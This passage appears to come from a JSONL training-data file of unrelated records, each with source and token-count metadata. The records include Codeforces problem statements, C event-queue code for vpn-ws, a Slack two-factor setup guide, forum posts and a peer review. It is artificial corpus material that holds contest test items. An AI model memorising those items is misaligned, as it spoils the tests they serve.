questionnaire study.\n## Complimenting in-lab research\n- please correct \"complImenting\"\n## Comparing online with in-lab\n- \"indeed, given a disagreement between such studies\": This is a very bold statement because problems replicating e.g. backward masking are very likely due to technical problems presenting stimuli online rather than an artifact that is induced by lab-equipment.\n- Here, too a more structured summary of the three comparison studies may be beneficial.\n# Potential concerns with online research\n## 1 Timing\n- This section may be divided in presentation and response timing.\n## 2 Variability in hardware\n- Again this could be divided in presentation and response-timing.\n- Also it may be best to use different modalities to structure the paragraph.\n- Why cannot the McGurk effect presented as a video?\n- It should be noted how relevant such problems are for within-sj designs\n## 3 Unique participants?\n## 4 Random responding\n- \"Oppenheimer, Meyvis, and Davidenko\": As the authors note these authors study decision making. Is this also a pertinent problem for perception studies?\n## 5 Ethics\n- Authors should note solutions to the dilemmata described, especcially those raised by larger Societies.\n# Conducting research online\n- Consider to change the title of the subsection to software.\n- The comparison of tools is great and could be much expanded. It would be important to know whether RTs can be collected, or not?\n- \"Questionnaire vs Research focus\": What is meant by this?\nThe submission is well written and structured.\nNot really applicable to this paper, as it is a review of experimental design.\nThis is a very useful and timely review that will benefit the field.\nP. 5: Do smartphones count as \"computers\"?\nP. 7: Where is the lab-based data from? Are the \"samples\" equivalent for the comparisons shown? Certainly some labs study ageing, such as changes across the lifespan! Also, do the WEIRD aspects of online samples cause more concern than noted here? Certainly there is potential for overcoming WEIRD samples, but it is unclear that is yet the case.\nP. 9: On homophily: I understand the example you note, but is there any evidence this is the case for online studie? That seems most relevant.\nP. 11: On Recruitment Platforms: I wonder if this section should come far earlier. The sections that precede it discussion Mechanical Turk in a familiar tone, yet only here is it really explained in detail. Explaining it first would be helpful perhaps.\nP. 28: Interesting study described here -- but did they also debrief the 46% that missed the extra task to see if they really missed it, or if instead they just ignored it thinking it was a trick to see if they would not focus on the primary task?\nP. 30-31: Do the societies (BPS, APA, etc) need to revisit these guidelines (or lack thereof)? One criticism is raised, but it seems there other things missing from those policies as well. The anonymity issue, clashing with the requirement to allow later data deletion, is not just an online problem of course, and a suggestion would be interesting here.\nAll text and materials provided via this peer-review history page are made available under a Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2089, "token_count_with_eod": 2090, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are developing a rating system for an online game. Every time a player participates in a match, the player's rating changes depending on the results.\n\nInitially, the player's rating is $$$0$$$. There are $$$n$$$ matches; after the $$$i$$$-th match, the rating change is equal to $$$a_i$$$ (the rating increases by $$$a_i$$$ if $$$a_i$$$ is positive, or decreases by $$$|a_i|$$$ if it's negative. There are no zeros in the sequence $$$a$$$).\n\nThe system has an additional rule: for a fixed integer $$$k$$$, if a player's rating has reached the value $$$k$$$, it will never fall below it. Formally, if a player's rating at least $$$k$$$, and a rating change would make it less than $$$k$$$, then the rating will decrease to exactly $$$k$$$.\n\nYour task is to determine the value $$$k$$$ in such a way that the player's rating after all $$$n$$$ matches is the maximum possible (among all integer values of $$$k$$$). If there are multiple possible answers, you can print any of them.", "source": "cpt_codeforces", "language": "en", "token_count": 238, "token_count_with_eod": 239, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "You are given an array which is initially empty. You need to perform $$$n$$$ operations of the given format:\n\n- \"$$$a$$$ $$$l$$$ $$$r$$$ $$$k$$$\": append $$$a$$$ to the end of the array. After that count the number of integer pairs $$$x, y$$$ such that $$$l \\leq x \\leq y \\leq r$$$ and $$$\\operatorname{mex}(a_{x}, a_{x+1}, \\ldots, a_{y}) = k$$$.\n\nThe elements of the array are numerated from $$$1$$$ in the order they are added to the array.\n\nTo make this problem more tricky we don't say your real parameters of the queries. Instead your are given $$$a'$$$, $$$l'$$$, $$$r'$$$, $$$k'$$$. To get $$$a$$$, $$$l$$$, $$$r$$$, $$$k$$$ on the $$$i$$$-th operation you need to perform the following:\n\n- $$$a := (a' + lans) \\bmod(n + 1)$$$,\n- $$$l := (l' + lans) \\bmod{i} + 1$$$,\n- $$$r := (r' + lans) \\bmod{i} + 1$$$,\n- if $$$l > r$$$ swap $$$l$$$ and $$$r$$$,\n- $$$k := (k' + lans) \\bmod(n + 1)$$$,\n\nThe $$$\\operatorname{mex}(S)$$$, where $$$S$$$ is a multiset of non-negative integers, is the smallest non-negative integer which does not appear in the set. For example, $$$\\operatorname{mex}(\\{2, 2, 3\\}) = 0$$$ and $$$\\operatorname{mex} (\\{0, 1, 4, 1, 6\\}) = 2$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 407, "token_count_with_eod": 408, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Within the space of 2 weeks i have had 2 drives break in the server. The first time i put a spare drive in and accidentally deleted the whole RAID... I spent a week running recovery software and backing everything up to an 8TB external drive. I finally got everything installed and working after 3 weeks and then another disk broke. I am currently without a server as i dont have any spare drives, so going to be sending the 2 broken disks back to get replacements as they had a 5 year warranty.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 107, "token_count_with_eod": 108, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "#include \"vpn-ws.h\"\n\n#if defined(__linux__)\n\n#include \n\nint vpn_ws_event_queue(int n) {\n\tint ret = epoll_create(n);\n\tif (ret < 0) {\n\t\tvpn_ws_error(\"vpn_ws_event_queue()/epoll_create()\");\n\t\treturn -1;\n\t}\n\treturn ret;\n}\n\nint vpn_ws_event_read_to_write(int queue, int fd) {\n\tstruct epoll_event ev;\n ev.events = EPOLLOUT;\n ev.data.fd = fd;\n int ret = epoll_ctl(queue, EPOLL_CTL_MOD, fd, &ev);\n if (ret < 0) {\n vpn_ws_error(\"vpn_ws_event_read_to_write()/epoll_ctl()\");\n return -1;\n }\n return ret;\n}\n\nint vpn_ws_event_write_to_read(int queue, int fd) {\n struct epoll_event ev;\n ev.events = EPOLLIN;\n ev.data.fd = fd;\n int ret = epoll_ctl(queue, EPOLL_CTL_MOD, fd, &ev);\n if (ret < 0) {\n vpn_ws_error(\"vpn_ws_event_read_to_write()/epoll_ctl()\");\n return -1;\n }\n return ret;\n}\n\nint vpn_ws_event_add_read(int queue, int fd) {\n\tstruct epoll_event ev;\n\tev.events = EPOLLIN;\n\tev.data.fd = fd;\n\tint ret = epoll_ctl(queue, EPOLL_CTL_ADD, fd, &ev);\n\tif (ret < 0) {\n\t\tvpn_ws_error(\"vpn_ws_event_add_read()/epoll_ctl()\");\t\n\t\treturn -1;\n\t}\n\treturn ret;\n}\n\nint vpn_ws_event_wait(int queue, void *events) {\n\tint ret = epoll_wait(queue, events, 64, -1);\n\tif (ret < 0) {\n\t\tvpn_ws_error(\"vpn_ws_event_wait()/epoll_wait()\");\n return -1;\n\t}\n\treturn ret;\n}\n\nvoid *vpn_ws_event_events(int n) {\n\treturn vpn_ws_malloc(sizeof(struct epoll_event) * n);\n}\n\nint vpn_ws_event_fd(void *events, int i) {\n\tstruct epoll_event *epoll_events = (struct epoll_event *) events;\n\treturn epoll_events[i].data.fd;\n}\n\n#elif defined(__FreeBSD__) || defined(__APPLE__) || defined(__OpenBSD__)\n\n#include \n\nint vpn_ws_event_queue(int n) {\n int ret = kqueue();\n if (ret < 0) {\n vpn_ws_error(\"vpn_ws_event_queue()/kqueue()\");\n return -1;\n }\n return ret;\n}\n\nint vpn_ws_event_read_to_write(int queue, int fd) {\n\tstruct kevent kev;\n\n\tEV_SET(&kev, fd, EVFILT_READ, EV_DELETE, 0, 0, 0);\n if (kevent(queue, &kev, 1, NULL, 0, NULL) < 0) {\n\t\tvpn_ws_error(\"vpn_ws_event_read_to_write()/kevent()\");\n return -1;\n }\n\n EV_SET(&kev, fd, EVFILT_WRITE, EV_ADD, 0, 0, 0);\n if (kevent(queue, &kev, 1, NULL, 0, NULL) < 0) {\n\t\tvpn_ws_error(\"vpn_ws_event_read_to_write()/kevent()\");\n return -1;\n }\n return 0;\n}\n\nint vpn_ws_event_write_to_read(int queue, int fd) {\n\tstruct kevent kev;\n \n EV_SET(&kev, fd, EVFILT_WRITE, EV_DELETE, 0, 0, 0);\n if (kevent(queue, &kev, 1, NULL, 0, NULL) < 0) {\n vpn_ws_error(\"vpn_ws_event_write_to_read()/kevent()\");\n return -1;\n }\n \n EV_SET(&kev, fd, EVFILT_READ, EV_ADD, 0, 0, 0);\n if (kevent(queue, &kev, 1, NULL, 0, NULL) < 0) {\n vpn_ws_error(\"vpn_ws_event_write_to_read()/kevent()\");\n return -1;\n }\n return 0;\n}\n\nint vpn_ws_event_add_read(int queue, int fd) {\n\tstruct kevent kev;\n\n\tEV_SET(&kev, fd, EVFILT_READ, EV_ADD, 0, 0, 0);\n if (kevent(queue, &kev, 1, NULL, 0, NULL) < 0) {\n vpn_ws_error(\"vpn_ws_event_add_read()/kevent()\");\n return -1;\n }\n return 0;\n}\n\nint vpn_ws_event_wait(int queue, void *events) {\n int ret = kevent(queue, NULL, 0, events, 64, NULL);\n if (ret < 0) {\n vpn_ws_error(\"vpn_ws_event_wait()/kevent()\");\n }\n return ret;\n}\n\nvoid *vpn_ws_event_events(int n) {\n return vpn_ws_malloc(sizeof(struct kevent) * n);\n}\n\nint vpn_ws_event_fd(void *events, int i) {\n struct kevent *k_events = (struct kevent *) events;\n return k_events[i].ident;\n}\n\n#elif defined(__WIN32__)\n\nint vpn_ws_event_queue(int n) {\n\treturn -1;\n}\n\nint vpn_ws_event_read_to_write(int queue, vpn_ws_fd fd) {\n\treturn -1;\n}\n\nint vpn_ws_event_write_to_read(int queue, vpn_ws_fd fd) {\n\treturn -1;\n}\n\nint vpn_ws_event_add_read(int queue, vpn_ws_fd fd) {\n\treturn -1;\n}\n\nint vpn_ws_event_wait(int queue, void *events) {\n\treturn -1;\n}\n\nvoid *vpn_ws_event_events(int n) {\n\treturn NULL;\n}\n\nint vpn_ws_event_fd(void *events, int i) {\n\treturn -1;\n}\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 1378, "token_count_with_eod": 1379, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Sereja loves integer sequences very much. He especially likes stairs.\n\nSequence a1, a2, ..., a|a| (|a| is the length of the sequence) is stairs if there is such index i (1 ≤ i ≤ |a|), that the following condition is met:\n\na1 < a2 < ... < ai - 1 < ai > ai + 1 > ... > a|a| - 1 > a|a|.\n\nFor example, sequences [1, 2, 3, 2] and [4, 2] are stairs and sequence [3, 1, 2] isn't.\n\nSereja has m cards with numbers. He wants to put some cards on the table in a row to get a stair sequence. What maximum number of cards can he put on the table?", "source": "cpt_codeforces", "language": "en", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Added ALL discs\nAdded config to choose songs\nAdded support for JRE 1.6 (Severely needed) :P\nMade disc number 11 disabled by default\nThe default delay is not 2000\nSet delay to 2000 by default\nAdded support for MC 1.4.4/1.4.5\nAdded MultiWorld Support\nYou can set the Jukebox location by looking at the Jukebox\nYou may now have infinite Jukebox's\nThe plugin runs by a new ID system\nLots of odd/ends bug fixes & code clean up.\nAdded /jbr list command.\nAdded support for multiple arguments on /jbr set- it is now /jbr set \nUpdated to 1.5\nChoosing only one song in the config will crash your server! You must choose at least 2 discs to play- it interferes with the \"not playing the last disc\" system I have in place.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 208, "token_count_with_eod": 209, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Slides: Add a Comment on a Shared Slide\nThe comment feature enables Slides collaborators to provide feedback or ask questions. For items that need immediate action or attention from a specific collaborator, you can assign a comment to a specific person.\nAdd a comment on a shared Slide, and assign it to a collaborator.\nMore Slides Activities\nQuickly deploy Slides lessons to your entire district.\nTop districts trust Alludo to train teachers and staff", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 93, "token_count_with_eod": 94, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In re the term 'honest mistake', would a 'dishonest mistake' be synonymous to something like irresponsibility, negligence or lazy/not doing due diligence?\nPart 1. My thoughts\n- Thought 1.1: Honest mistake vs dishonest mistake\nWe apologise for dishonest mistakes. We don't apologise for honest mistakes. We can instead say like 'My bad' or 'My mistake.' Of course in everyday terminology we say 'my apologies' to mean 'my (honest) mistake' instead of course necessarily admitting to any guilt. Just like how we say 'sorry' for your loss (similar to condolences) or 'sorry' to hear that.\nQuote from The Phantom Tollbooth:\nYou must never feel badly about making mistakes ... as long as you take the trouble to learn from them. For you often learn more by being wrong for the right reasons than you do by being right for the wrong reasons.\nPresumably the mistakes that are being talked about are honest mistakes. For example for a student: Don't be (unreasonably) afraid of making a mistake on an exam to the point of cheating on the exam. But do be (reasonably) afraid of neglecting your studies by spending more than allotted recreation time.\n- Thought 1.1.1: I believe it boils down to whether or not you should have known better. I think it's like the difference between naïveté and ignorance. You're at fault for ignorance but not for naïveté. i think it's like fool vs student in the arabian quote that goes:\n“He who knows not, and knows not that he knows not, is a fool; shun him. He who knows not, and knows that he knows not, is a student; Teach him. He who knows, and knows not that he knows, is asleep; Wake him. He who knows, and knows that he knows, is Wise; Follow him.”\n- Thought 1.2: Dishonest mistake vs intentional wrongdoing\nGoing back to the student example earlier, if a student extends allotted recreational time like 'Oh just 5 more minutes' and then ends up spending 1 hour more, then the student has committed a dishonest mistake through negligence of time management. If as a result of this the student decides to cheat, then this is no longer mere negligence but really intending something wrong. The 'Oh just 5 more minutes' did not have any intention of anything wrong, which in this case is losing a significant amount of time for study.\n- Thought 1.2.1: I kinda have this analogy in homicide legal terms:\nManslaughter/humanslaughter <--> dishonest mistake\nMurder <--> intentional wrongdoing\nNot the best analogy, but the point is I believe the idea why we have the concept of humanslaughter in the first place is that there are homicide cases where the perpetrator isn't 'not guilty by reason of insanity' but at the same didn't commit the act with forethought/premeditation/whatever. Like they just lost their temper (voluntary) or didn't do their due diligence (involuntary).\nPart 2. What I've found about this on Reddit and even on Stack Exchange (not quite in the way I'm asking though):\n2.3. Ignorantly dishonest → I notice here no one says anything like irresponsible, negligent, lazy/not doing due diligence. (So I decided to answer myself.)\nPart 3. Some context\n3.1. people may consider a dishonest mistake an honest mistake.\n- E.g., 3.1.1. parents fail to get the proper mental health treatment for their child who was diagnosed with a mental illness (say autism, ADHD or any mental illnesses diagnosed relative to how the child behaves/how the person behaved as a child) because they do not do their due diligence. Let's say they do their own reading about autism or ADHD and do not proceed with the suggested treatment by the diagnoser (eg psychologist or psychiatrist) without double checking their own readings with the diagnoser.\n3.2. people may consider a dishonest mistake an intentional wrongdoing.\n- E.g., 3.2.1. Following (3.1.1) still: Here of course it's not exactly 'child abuse' since abuse, as far as I understand, is intentional, not negligent...or not. But I'd call it more like child neglect or child maltreatment to distinguish from those cases where parents who, say, rape their children). It's indeed a mistake in the sense that it's not intentional. But that doesn't mean the mistake was honest.\n3.3. people may consider an honest mistake to be a dishonest mistake.\n- E.g., 3.3.1. Again, boredpanda or phantom tollbooth as above.\n3.4. (Also to clarify the issue of the term 'mistake') people may consider an intentional wrongdoing to be a dishonest mistake (or even an honest mistake!)\n- E.g., 3.4.1. As discussed a lot in comments: Adultery. I'd think if it happens once as a spur of the moment or getting drunk thing especially if it's just a kiss and not full blown sex, then I think it can be just a dishonest mistake. So it's still wrong, but let's not give a sentence of life imprisonment for murder instead of just 2 years for humanslaughter. (Well, I don't know. IANAL. Maybe divorce law in some parts of the world might consider a spur of the moment kiss as just as bad as full blown sex.) But if an adulterous act has forethought/premeditation, then this is now intentional and thus no longer a mistake.\nA lot of times cheaters will say what they did was a 'mistake'. I think this is similar to the 'apologies' or 'sorry' thing above in that what is meant by 'mistake' is something altogether now.\nThis kind of 'mistake' they did has intent. So this is not the kind of 'mistake' I mean when I say 'dishonest mistake'. A 'dishonest' mistake has no intent, same as an honest mistake. Was I being unclear? I don't think so. What I mean by 'mistake' in 'dishonest mistake' should, I believe, be clear because it comes from what is meant by 'mistake' in 'honest mistake', where intent is, I believe, understood to not be present here.\nGoing back to the adultery, the issue here is I think those cheaters subconsciously/unconsciously lie to their spouses/partners or even to themselves in that when they say 'mistake', they mean it like honest/dishonest mistake instead of, well, intentional wrongdoing. Here's an example from a TV series\nThis wasn't a mistake, Michaela. This was you stabbing me in the heart.\nPart 4. Appendix:\nAn edit proposed for me to ask 'antonym' of 'honest mistake'. I rejected in thinking that it might cause confusion in that like I'm trying to ask here what I might call (antonym-of-honest)-mistake instead of antonym-of-(honest mistake), which might turn out to be different.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1509, "token_count_with_eod": 1510, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "If you don't use artifacts upload to read MegaLinter reports, you can access them with an hyperlink to file.io\nimportant: MegaLinter has no affiliation with file.io, but it's supposed to be secured, and only one download is available for a report (snapchat for files, basically)\nThis reporter is deactivated by default.\nActivate the reporter (\nFILEIO_REPORTER: true) to see link to reports zip on file.io\n- Get the file.io hyperlink at the end of Mega-linter console output\n- Download file on file.io: it is immediately deleted on the server so it can be downloaded only once\n- Browse reports", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "#ifndef GRAPHICS_H\n#define GRAPHICS_H\n\n#include \n#include \n\n#include \"glk.h\"\n#include \"gi_blorb.h\"\n#include \"resource.h\"\n#include \"window.h\"\n#include \"style.h\"\n#include \"strio.h\"\n\n#define IMAGE_CACHE_MAX_NUM 10\n#define IMAGE_CACHE_MAX_SIZE 5242880\n\nstruct image_info {\n\tguint32 resource_number;\n\tgint width, height;\n\tGdkPixbuf* pixbuf;\n\tgboolean scaled;\n};\n\ngboolean on_graphics_configure(GtkWidget *widget, GdkEventConfigure *event, winid_t win);\ngboolean on_graphics_expose(GtkWidget *widget, GdkEventExpose *event, winid_t win);\nvoid clear_image_cache(struct image_info *data, gpointer user_data);\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 184, "token_count_with_eod": 185, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "You are an all-powerful being and you have created a rectangular world. In fact, your world is so bland that it could be represented by a $$$r \\times c$$$ grid. Each cell on the grid represents a country. Each country has a dominant religion. There are only two religions in your world. One of the religions is called Beingawesomeism, who do good for the sake of being good. The other religion is called Pushingittoofarism, who do murders for the sake of being bad.\n\nOh, and you are actually not really all-powerful. You just have one power, which you can use infinitely many times! Your power involves missionary groups. When a missionary group of a certain country, say $$$a$$$, passes by another country $$$b$$$, they change the dominant religion of country $$$b$$$ to the dominant religion of country $$$a$$$.\n\nIn particular, a single use of your power is this:\n\n- You choose a horizontal $$$1 \\times x$$$ subgrid or a vertical $$$x \\times 1$$$ subgrid. That value of $$$x$$$ is up to you;\n- You choose a direction $$$d$$$. If you chose a horizontal subgrid, your choices will either be NORTH or SOUTH. If you choose a vertical subgrid, your choices will either be EAST or WEST;\n- You choose the number $$$s$$$ of steps;\n- You command each country in the subgrid to send a missionary group that will travel $$$s$$$ steps towards direction $$$d$$$. In each step, they will visit (and in effect convert the dominant religion of) all $$$s$$$ countries they pass through, as detailed above.\n- The parameters $$$x$$$, $$$d$$$, $$$s$$$ must be chosen in such a way that any of the missionary groups won't leave the grid.\n\nThe following image illustrates one possible single usage of your power. Here, A represents a country with dominant religion Beingawesomeism and P represents a country with dominant religion Pushingittoofarism. Here, we've chosen a $$$1 \\times 4$$$ subgrid, the direction NORTH, and $$$s = 2$$$ steps.\n\nYou are a being which believes in free will, for the most part. However, you just really want to stop receiving murders that are attributed to your name. Hence, you decide to use your powers and try to make Beingawesomeism the dominant religion in every country.\n\nWhat is the minimum number of usages of your power needed to convert everyone to Beingawesomeism?\n\nWith god, nothing is impossible. But maybe you're not god? If it is impossible to make Beingawesomeism the dominant religion in all countries, you must also admit your mortality and say so.", "source": "cpt_codeforces", "language": "en", "token_count": 565, "token_count_with_eod": 566, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Join GitHub today\nGitHub is home to over 28 million developers working together to host and review code, manage projects, and build software together.Sign up\nReplaced the sort in median and quantileSeq with a partition-based selection function #373\nThanks, nice improvement!\nI guess it's not yet loaded there? When", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 69, "token_count_with_eod": 70, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "|Getty Ritter 3c47da2fac Commit my current pinboard data and a script to populate a DB with it||2 years ago|\n|lc||2 years ago|\n|scripts||2 years ago|\n|templates||2 years ago|\n|tests||2 years ago|\n|.gitignore||2 years ago|\n|README.md||2 years ago|\n|lament-configuration.py||2 years ago|\n|poetry.lock||2 years ago|\n|pyproject.toml||2 years ago|\n|tasks.py||2 years ago|\nBookmark organizing for pinheads.\n#food/breadwill also be visible under\npoetry installed, and having\ninvoke installed makes it easier.\n# install all the needed dependencies $ inv install # run all the tests $ inv test # run a local test server at port 9999 $ inv run -p 9999\nAll the code here is auto-formatted by\nblack, which should be installed by the\ninv install. Running\ninv fmt on a clean branch will run\nblack over all Python files and commit those changes automatically; if the repository is dirty then it will run the formatter but won't try to commit anything.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 258, "token_count_with_eod": 259, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "[[BoxJam and Ms. BoxJam are standing outside]]\nMs. BoxJam: Did I tell you the Touchstones are going on vacation by themselves? Can you imagine going on vacation without the kids?\n[[A series of thought balloons]]\n[[Postcard shows BoxJam and Ms. BoxJam, alone, wading in breakers on a beach]]\nCaption: Having a great time... At the Beach!\n[[Postcard looks the same, but a fist has punched through it]]\n[[Postcard looks the same, but the hole the fist punched through is now being stretched open by Little BoxJam]]\n[[Postcard looks the same, but Little BoxJam has dropped through the hole into the water - he's got an inner tube around him. BoxJamina is now climbing through the hole.]]\n[[Postcard looks the same, but Little BoxJam is splashing BoxJam, and BoxJamina, who has now dropped into the water, has her arms outstretched to BoxJam]]\nBoxJamina: Up! Up!\n[[back to scene of BoxJam and Ms. BoxJam standing outside]]", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "#pragma once\r\n\r\n#include \r\n#include \r\n#include \r\n#include \r\n\r\n#include \"ActorPoolSettings.generated.h\"\r\n\r\nclass AActor;\r\n\r\nUSTRUCT()\r\nstruct FAPPooledActorAcquireFromPoolSettings\r\n{\r\n GENERATED_USTRUCT_BODY()\r\n\r\n FAPPooledActorAcquireFromPoolSettings();\r\n\r\n UPROPERTY( EditAnywhere )\r\n uint8 bShowActor : 1;\r\n\r\n UPROPERTY( EditAnywhere )\r\n uint8 bEnableCollision : 1;\r\n\r\n UPROPERTY( EditAnywhere )\r\n uint8 bDisableNetDormancy : 1;\r\n\r\n UPROPERTY( EditAnywhere, meta = ( EditCondition = \"bDisableNetDormancy\" ) )\r\n TEnumAsByte< ENetDormancy > NetDormancy;\r\n};\r\n\r\nUSTRUCT()\r\nstruct FActorPoolInfos\r\n{\r\n GENERATED_USTRUCT_BODY()\r\n\r\n FActorPoolInfos();\r\n\r\n UPROPERTY( EditAnywhere )\r\n TSoftClassPtr< AActor > ActorClass;\r\n\r\n UPROPERTY( EditAnywhere )\r\n int Count;\r\n\r\n UPROPERTY( EditAnywhere )\r\n uint8 bAllowNewInstancesWhenPoolIsEmpty : 1;\r\n\r\n UPROPERTY( EditAnywhere )\r\n FAPPooledActorAcquireFromPoolSettings AcquireFromPoolSettings;\r\n};\r\n\r\nUCLASS( config = Game, defaultconfig, meta = ( DisplayName = \"ActorPool\" ) )\r\nclass ACTORPOOL_API UActorPoolSettings final : public UDeveloperSettings\r\n{\r\n GENERATED_BODY()\r\n\r\npublic:\r\n FName GetCategoryName() const override;\r\n\r\n UPROPERTY( EditAnywhere, config )\r\n TArray< FActorPoolInfos > PoolInfos;\r\n};", "source": "cpt_stack_code", "language": "code", "token_count": 382, "token_count_with_eod": 383, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "- Dear all,\nIn relation to my research on behaviour within fishing fleets I would like\nto ask a question. I am looking for the spatio-temporal correlation of\nfishermen's catch rates. As I understand it now, the predictive power of a\nspatial pattern in catch rates in one week on the pattern in the next week\nestimated using cross-semivariograms (GSLIBS gamv), with head in timestep t\nand tail in timestep t-1. Unfortunately the data I have comes from a fleet,\nnot a survey design, and the position of the catch rates estimates is not\nfixed. Therefor I am left with very few actual positions where I have a\ncatch rate for both weeks, and a lot where either is missing.\nIs there a way to calculate the predictive power of a spatial pattern in one\ntimestep on the spatial pattern in another? Is trying to calculate the\ncross-semivariogram the right way? Am I doing something wrong or overlooking\nsomething? I am very new to geostatistics, so any help is welcome.\nWith kind regards,\nJan Jaap Poos\nUniversity of Groningen, department of animal ecology\nNetherlands Institute for Fisheries Research\n* To post a message to the list, send it to ai-geostats@...\n* As a general service to the users, please remember to post a summary of any useful responses to your questions.\n* To unsubscribe, send an email to majordomo@... with no subject and \"unsubscribe ai-geostats\" followed by \"end\" on the next line in the message body. DO NOT SEND Subscribe/Unsubscribe requests to the list\n* Support to the list is provided at http://www.ai-geostats.org", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 365, "token_count_with_eod": 366, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given the current time in 24-hour format hh:mm. Find and print the time after a minutes.\n\nNote that you should find only the time after a minutes, see the examples to clarify the problem statement.\n\nYou can read more about 24-hour format here https://en.wikipedia.org/wiki/24-hour_clock.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Web development tools help website developers in various web development process. Whether designing a responsive web design or improving the user experience, these development tools make it a whole lot easier, faster, and smoother.\n- Content Management System (CMS)\nNot all web developers are created equal. And CMS makes it easier for many web developers to develop websites without much programming knowledge. CMS also makes the website redesigning a whole lot easier and offers easy uploading of images. You can easily update your website’s logo or other common elements even after a website is launched.\nSublime Text is a preferred code editor mostly used for website development for designing. You can download it from Windows, Mac, and Linux. Since it is a code editor, it has a convenient feature called GoTo Anything, which allows you to easily find a piece of code and edit it.\nSome of the other useful features include the Multiple Selections command and Split Editing. This tool is free to download, but there is also a paid version. After paying for the license, you can use it on any device you want.\nBootstrap makes it easier with various built-in components along with ready-made elements. If you are a professional web developer, you will have no problem using this tool to create web applications and find it very interesting because it offers various customizations. It also supports multiple website development tools like Sass and JQuery, making it even more preferred by developers.\nSass is a pre-processor scripting language that is incredibly common among website developers because its code is reusable. If you want to handle bigger projects with clean and easy CSS codes as a website developer, choosing Sass is the ideal way to go about it. Since it uses nested syntax, you get better, more maintainable code and better code organization.\nCodePen offers four packages and is used by many developers, beginners, and professionals alike. This popularly used frontend developer tool offers various functionalities for design customizations. CodePen can be a versatile tool that offers all the essential features required for a complete web development project.\nGitHub can be your go-to software development platform in case you are working on a personal project. One of the best parts of this platform is that you can integrate it with any website development tool you are already using. You can also use this as a part of an experiment with new programming languages.\nSome of the best functionalities of GitHub are Integrations, Code Review, Project Management, Code hosting, Documentation, etc.\nWhen choosing a web development tool, the best way to go is to look for what your unique project requirements are. Sometimes, your project can be done with a free, open-source platform, while other times, if your project is complex, you will need to use a paid version of a tool.\nContact us to discuss your website development requirement. Call us today on +917760487777 or 08041127377 or message us on our contact form and we will reply back ASAP. We can discuss how we can strategically website development for your organization.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 625, "token_count_with_eod": 626, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "How to enable 2FA for Slack\nThe best way to manage all your 2FA accounts is to use the Authy app. It enables you to have a single mobile app for all your 2FA accounts and you can sync them across multiple devices, even accessing them on the desktop. Install Authy on your device by searching for it in your device’s app store.\nImportant: If any sites prompt you to use Google Authenticator for two-factor authentication, note that you can always substitute the Authy 2FA app instead. Although they work in similar ways, Authy is more feature-rich and allows for multi-device syncing, cloud-backups, and easier account recovery should you change or lose your phone or device. Read more information on the features of Authy here.\nLocate 2FA setting\nSign into the appropriate Slack team, and visit your Account page at my.slack.com/account/settings.\nThen click “Account & Profile” in the navigation menu to the left.\nUnder “Settings,” find “Two-Factor Authentication” and click “expand”.\nRead about Slack’s two-factor authentication offering, then click “Setup Two-factor Authentication”.\nOn the next screen, re-enter your password and then click the box that reads “Use an app. Retrieve authentication codes from the authentication app on your device.” This is the easier and more secure route over using SMS.\nOn the next screen, you’ll be asked to download the authenticator app of your choice – but you already did this in step 1. Then, it asks you to scan a QR Code with your Authy app. Keep this window open as you reach for your phone.\nCapture QR Code\nTake out your mobile device and open the Authy App. At the bottom of the screen, tap the plus sign to create a new account.\nWhen you are ready click “Scan QR Code” and hold your device up to the computer screen.\nThe Authy App will automatically choose the Slack logo. Confirm it’s correct by clicking “Done”\nRecord the numerical token provided for Slack. Note that this token refreshes every 20 seconds.\nReturning to the Slack website, enter the numerical token in the appropriate field. When done click “Activate.”\nYou will now be shown your Slack backup codes. These codes are one-time use each. Select to print them or copy them to keep them safe.\nYou will now notice that your Slack account has 2FA security enabled.\nYou’re all set! You’ve enabled 2FA for your Slack account.\nTo learn more, visit: https://get.slack.help/hc/en-us/articles/204509068-Set-up-two-factor-authentication", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Are you aware of the new AllowExecuteCommand switch in SR11?\nI believe the default in SR11 is allow, and you didn't say your script was failing, so this is probably not the issue.\nDo those bat files refer to drive letters or something that won't work in a service? Do you see any orphaned cmd.exe tasks in Task Manager on the server?\nCan you try ECHO a message from the bat file to a file to see if the task is actually executing?\nthanks for your suggestions. Apparently due to security settings, I was using network paths and that is not allowed when I launch cmd.exe in my server. It actually was not just that I was using paths to launch the stuff I needed, it is also the path where it starts as we use a network file share machine to store the qvw.\nWhen a cmd is launched from there, It 